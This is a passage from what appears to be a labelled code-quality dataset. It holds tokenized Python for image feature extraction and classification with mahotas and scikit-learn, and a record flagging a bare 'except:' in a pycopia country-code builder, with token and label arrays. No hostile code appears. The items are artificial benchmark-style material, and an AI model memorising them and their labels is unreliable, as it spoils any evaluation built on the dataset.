"adds",
" ",
"a",
" ",
"dummy",
" ",
"third",
" ",
"dimension",
" ",
"to",
" ",
"C_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"ring",
"ed_",
"=_",
"mh",
"_",
"._",
"stretch",
"_",
"(_",
"im_",
"*_",
"C_",
"+_",
"(_",
"1_",
"-_",
"C_",
")_",
"*_",
"im",
"12_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"hara",
"lick",
"\\u",
"features_",
"=_",
"mh",
"_",
"._",
"features_",
"._",
"hara",
"lick",
"_",
"(_",
"image_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"hara",
"lick",
"\\u",
"features",
"\\u",
"mean_",
"=_",
"np_",
"._",
"mean_",
"(_",
"hara",
"lick",
"\\u",
"features_",
",_",
"axis_",
"=_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"hara",
"lick",
"\\u",
"features",
"\\u",
"all_",
"=_",
"np_",
"._",
"ravel_",
"(_",
"hara",
"lick",
"\\u",
"features_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"glob_",
"import_",
"glob_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"glob_",
"(_",
"'../",
"Simple",
"Image",
"Datas",
"et",
"/*",
".",
"jp",
"g",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"labels_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"im_",
"in_",
"images_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"labels_",
"._",
"append_",
"(_",
"im_",
"[_",
":_",
"-_",
"len_",
"(_",
"'",
"00",
".",
"jp",
"g",
"'_",
")_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"im_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"mh",
"_",
"._",
"colors_",
"._",
"rgb",
"2g",
"ray_",
"(_",
"im_",
",_",
"dtype_",
"=_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"._",
"append_",
"(_",
"mh",
"_",
"._",
"features_",
"._",
"hara",
"lick",
"_",
"(_",
"im_",
")_",
"._",
"ravel_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"features_",
"=_",
"np_",
"._",
"array_",
"(_",
"features_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"labels_",
"=_",
"np_",
"._",
"array_",
"(_",
"labels_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"sklearn_",
"._",
"pipeline_",
"import_",
"Pipeline_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"sklearn_",
"._",
"preprocessing_",
"import_",
"Standard",
"Scaler",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"sklearn_",
"._",
"linear",
"\\u",
"model_",
"import_",
"Logi",
"stic",
"Regression_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"clf_",
"=_",
"Pipeline_",
"(_",
"[_",
"(_",
"'",
"preproc",
"'_",
",_",
"Standard",
"Scaler",
"_",
"(_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"classif",
"ier",
"'_",
",_",
"Logi",
"stic",
"Regression_",
"(_",
")_",
")_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"sklearn_",
"import_",
"cross",
"\\u",
"validation_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cv_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"Leav",
"e",
"One",
"Out_",
"(_",
"len_",
"(_",
"images_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scores_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"cross",
"\\u",
"val",
"\\u",
"score_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"clf_",
",_",
"features_",
",_",
"labels_",
",_",
"cv_",
"=_",
"cv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Accu",
"rac",
"y",
":",
" ",
"{:",
".1",
"%}",
"'_",
"._",
"format_",
"(_",
"scores_",
"._",
"mean_",
"(_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Accu",
"rac",
"y",
":",
" ",
"81.",
"1",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"features_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"im_",
"in_",
"images_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"im_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"im_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"._",
"append_",
"(_",
"chi",
"st_",
"(_",
"im_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"features_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"im_",
"in_",
"images_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"im",
"color_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"im_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"mh",
"_",
"._",
"colors_",
"._",
"rgb",
"2g",
"ray_",
"(_",
"im",
"color_",
",_",
"dtype_",
"=_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"._",
"append_",
"(_",
"np_",
"._",
"concatenate_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"mh",
"_",
"._",
"features_",
"._",
"hara",
"lick",
"_",
"(_",
"im_",
")_",
"._",
"ravel_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"chi",
"st_",
"(_",
"im",
"color_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"scores_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"cross",
"\\u",
"val",
"\\u",
"score_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"clf_",
",_",
"features_",
",_",
"labels_",
",_",
"cv_",
"=_",
"cv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Accu",
"rac",
"y",
":",
" ",
"{:",
".1",
"%}",
"'_",
"._",
"format_",
"(_",
"scores_",
"._",
"mean_",
"(_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Accu",
"rac",
"y",
":",
" ",
"95.",
"6",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"features_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"im_",
"in_",
"images_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"im",
"color_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"im_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Ignor",
"e",
" ",
"every",
"thing",
" ",
"in",
" ",
"the",
" ",
"200",
" ",
"pixel",
"s",
" ",
"close",
" ",
"to",
" ",
"the",
" ",
"borders_",
"\\u\\u\\uNL\\u\\u\\u_",
"im",
"color_",
"=_",
"im",
"color_",
"[_",
"200_",
":_",
"-_",
"200_",
",_",
"200_",
":_",
"-_",
"200_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"mh",
"_",
"._",
"colors_",
"._",
"rgb",
"2g",
"ray_",
"(_",
"im",
"color_",
",_",
"dtype_",
"=_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"._",
"append_",
"(_",
"np_",
"._",
"concatenate_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"mh",
"_",
"._",
"features_",
"._",
"hara",
"lick",
"_",
"(_",
"im_",
")_",
"._",
"ravel_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"chi",
"st_",
"(_",
"im",
"color_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"sc_",
"=_",
"Standard",
"Scaler",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"=_",
"sc_",
"._",
"fit",
"\\u",
"transform_",
"(_",
"features_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"scipy_",
"._",
"spatial_",
"import_",
"distance_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dists_",
"=_",
"distance_",
"._",
"square",
"form_",
"(_",
"distance_",
"._",
"pdi",
"st_",
"(_",
"features_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"fig_",
",_",
"axes_",
"=_",
"plt_",
"._",
"subplots_",
"(_",
"2_",
",_",
"9_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"ci_",
",_",
"i_",
"in_",
"enumerate_",
"(_",
"range_",
"(_",
"0_",
",_",
"90_",
",_",
"10_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"left_",
"=_",
"images_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dists",
"\\u",
"left_",
"=_",
"dists_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"right_",
"=_",
"dists",
"\\u",
"left_",
"._",
"argsort_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"right",
"[",
"0",
"]",
" ",
"is",
" ",
"the",
" ",
"same",
" ",
"as",
" ",
"left",
"[",
"i",
"],",
" ",
"so",
" ",
"pick",
" ",
"the",
" ",
"next",
" ",
"closest",
" ",
"element_",
"\\u\\u\\uNL\\u\\u\\u_",
"right_",
"=_",
"right_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"right_",
"=_",
"images_",
"[_",
"right_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"left_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"left_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"right_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"right_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"axes_",
"[_",
"0_",
",_",
"ci_",
"]_",
"._",
"imshow_",
"(_",
"left_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"axes_",
"[_",
"1_",
",_",
"ci_",
"]_",
"._",
"imshow_",
"(_",
"right_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"from_",
"sklearn_",
"._",
"grid",
"\\u",
"search_",
"import_",
"Grid",
"Sear",
"ch",
"CV_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"C",
"\\u",
"range_",
"=_",
"10.0_",
"**_",
"np_",
"._",
"arange_",
"(_",
"-_",
"4_",
",_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"grid_",
"=_",
"Grid",
"Sear",
"ch",
"CV_",
"(_",
"Logi",
"stic",
"Regression_",
"(_",
")_",
",_",
"param",
"\\u",
"grid_",
"=_",
"{_",
"'",
"C",
"'_",
":_",
"C",
"\\u",
"range_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"clf_",
"=_",
"Pipeline_",
"(_",
"[_",
"(_",
"'",
"preproc",
"'_",
",_",
"Standard",
"Scaler",
"_",
"(_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"classif",
"ier",
"'_",
",_",
"grid_",
")_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"cv_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"KF",
"old_",
"(_",
"len_",
"(_",
"features_",
")_",
",_",
"5_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"shuffle_",
"=_",
"True_",
",_",
"random",
"\\u",
"state_",
"=_",
"123_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scores_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"cross",
"\\u",
"val",
"\\u",
"score_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"clf_",
",_",
"features_",
",_",
"labels_",
",_",
"cv_",
"=_",
"cv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Accu",
"rac",
"y",
":",
" ",
"{:",
".1",
"%}",
"'_",
"._",
"format_",
"(_",
"scores_",
"._",
"mean_",
"(_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"mah",
"ota",
"s_",
"._",
"features_",
"import_",
"surf_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"image_",
"=_",
"mh",
"_",
"._",
"demo",
"s_",
"._",
"load_",
"(_",
"'",
"len",
"a",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"image_",
"=_",
"mh",
"_",
"._",
"colors_",
"._",
"rgb",
"2g",
"ray_",
"(_",
"image_",
",_",
"dtype_",
"=_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"descriptors_",
"=_",
"surf_",
"._",
"surf_",
"(_",
"image_",
",_",
"descrip",
"tor",
"\\u",
"only_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"mah",
"ota",
"s_",
"._",
"features_",
"import_",
"surf_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"descriptors_",
"=_",
"surf_",
"._",
"dense_",
"(_",
"image_",
",_",
"spacing_",
"=_",
"16_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"alld",
"escri",
"pto",
"rs_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"im_",
"in_",
"images_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"im_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"im_",
",_",
"as",
"\\u",
"grey",
"_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"im_",
"._",
"astype_",
"(_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"alld",
"escri",
"pto",
"rs_",
"._",
"append_",
"(_",
"surf_",
"._",
"dense_",
"(_",
"image_",
",_",
"spacing_",
"=_",
"16_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"get",
" ",
"all",
" ",
"descrip",
"tors",
" ",
"int",
"o",
" ",
"a",
" ",
"single",
" ",
"array_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"concatenated",
"_",
"=_",
"np_",
"._",
"concatenate_",
"(_",
"alld",
"escri",
"pto",
"rs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Number",
" ",
"of",
" ",
"descrip",
"tors",
":",
" ",
"{}'_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"len_",
"(_",
"concatenated",
"_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"use",
" ",
"only",
" ",
"every",
" ",
"64",
"th",
" ",
"vector_",
"\\u\\u\\uNL\\u\\u\\u_",
"concatenated",
"_",
"=_",
"concatenated",
"_",
"[_",
":_",
":_",
"64_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"sklearn_",
"._",
"cluster_",
"import_",
"KM",
"ean",
"s_",
"#",
" ",
"FIX",
"ME",
" ",
"CAP",
"ITA",
"LI",
"ZA",
"TION_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"k_",
"=_",
"256_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"km_",
"=_",
"KM",
"ean",
"s_",
"(_",
"k_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"km_",
"._",
"fit_",
"(_",
"concatenated",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"features_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"d_",
"in_",
"alld",
"escri",
"pto",
"rs_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"c_",
"=_",
"km_",
"._",
"predict_",
"(_",
"d_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"features_",
"._",
"append_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"np_",
"._",
"array_",
"(_",
"[_",
"np_",
"._",
"sum_",
"(_",
"c_",
"==_",
"ci_",
")_",
"for_",
"ci_",
"in_",
"range_",
"(_",
"k_",
")_",
"]_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"build",
" ",
"single",
" ",
"array",
" ",
"and",
" ",
"convert",
" ",
"to",
" ",
"float_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"features_",
"=_",
"np_",
"._",
"array_",
"(_",
"features_",
",_",
"dtype_",
"=_",
"float_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"scores_",
"=_",
"cross",
"\\u",
"validation_",
"._",
"cross",
"\\u",
"val",
"\\u",
"score_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"clf_",
",_",
"features_",
",_",
"labels_",
",_",
"cv_",
"=_",
"cv_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Accu",
"rac",
"y",
":",
" ",
"{:",
".1",
"%}",
"'_",
"._",
"format_",
"(_",
"scores_",
"._",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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | kdart/pycopia/core/pycopia/ISO/__init__.py | [
{
"content": "def build_iso3166(filename):\n \"\"\"Rebuild the iso3166 (country code) module from the URL. \"\"\"\n import urllib2\n outf = open(filename, \"w\")\n\n outf.write(\"\"\"#!/usr/bin/python\n# -*- coding: iso-8859-1 -*-\n# generated by build_iso3166()\n\n\"\"\")\n outf.write(\"COUNTRYCODES = {\\n\")\n try:\n ccf = urllib2.urlopen(URLS[\"countrycodes\"])\n except:\n print \"Could not get country codes from %r, using local file.\" % (URLS[\"countrycodes\"],)\n ccf = open(URLS[\"countrycodesfile\"])\n ccf.readline() # eat first header line\n for line in ccf.readlines():\n vals = line.strip().split(\";\")\n if len(vals) != 2:\n continue\n outf.write(\" %r: %r,\\n\" % (vals[1], vals[0]))\n outf.write(\"}\\n\\n\")\n outf.close()\n ccf.close()",
"metadata": "root.build_iso3166",
"header": "['module', '___EOS___']",
"index": 68
}
]
| [
{
"span": "except:",
"start_line": 81,
"start_column": 4,
"end_line": 81,
"end_column": 11
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"build",
"\\u",
"iso",
"3166",
"_",
"(_",
"filename_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Reb",
"uild",
" ",
"the",
" ",
"iso",
"3166",
" ",
"(",
"countr",
"y",
" ",
"code",
")",
" ",
"module",
" ",
"from",
" ",
"the",
" ",
"URL",
".",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"urllib2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"outf_",
"=_",
"open_",
"(_",
"filename_",
",_",
"\"",
"w",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"outf_",
"._",
"write_",
"(_",
"\"\"\"#",
"!",
"/",
"usr",
"/",
"bin",
"/",
"python",
"\\",
"10",
";",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"iso",
"-",
"8859",
"-1",
" ",
"-*-",
"\\",
"10",
";",
"#",
" ",
"generat",
"ed",
" ",
"by",
" ",
"build",
"\\u",
"iso",
"3166",
"()",
"\\",
"10",
";",
"\\",
"10",
";\"\"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"outf_",
"._",
"write_",
"(_",
"\"",
"COUNTRY",
"CODE",
"S",
" ",
"=",
" ",
"{\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ccf",
"_",
"=_",
"urllib2_",
"._",
"urlopen_",
"(_",
"URLS_",
"[_",
"\"",
"countr",
"yco",
"des",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
"Cou",
"ld",
" ",
"not",
" ",
"get",
" ",
"countr",
"y",
" ",
"codes",
" ",
"from",
" ",
"%",
"r",
",",
" ",
"usi",
"ng",
" ",
"local",
" ",
"file",
".\"_",
"%_",
"(_",
"URLS_",
"[_",
"\"",
"countr",
"yco",
"des",
"\"_",
"]_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ccf",
"_",
"=_",
"open_",
"(_",
"URLS_",
"[_",
"\"",
"countr",
"yco",
"des",
"file",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ccf",
"_",
"._",
"readline_",
"(_",
")_",
"#",
" ",
"eat",
" ",
"first",
" ",
"header",
" ",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"line_",
"in_",
"ccf",
"_",
"._",
"readlines_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"vals_",
"=_",
"line_",
"._",
"strip_",
"(_",
")_",
"._",
"split_",
"(_",
"\";\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"vals_",
")_",
"!=_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"outf_",
"._",
"write_",
"(_",
"\"",
" ",
" ",
"%",
"r",
":",
" ",
"%",
"r",
",\\\\",
"n",
"\"_",
"%_",
"(_",
"vals_",
"[_",
"1_",
"]_",
",_",
"vals_",
"[_",
"0_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"outf_",
"._",
"write_",
"(_",
"\"}",
"\\\\",
"n",
"\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"outf_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ccf",
"_",
"._",
"close_",
"(_",
")_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
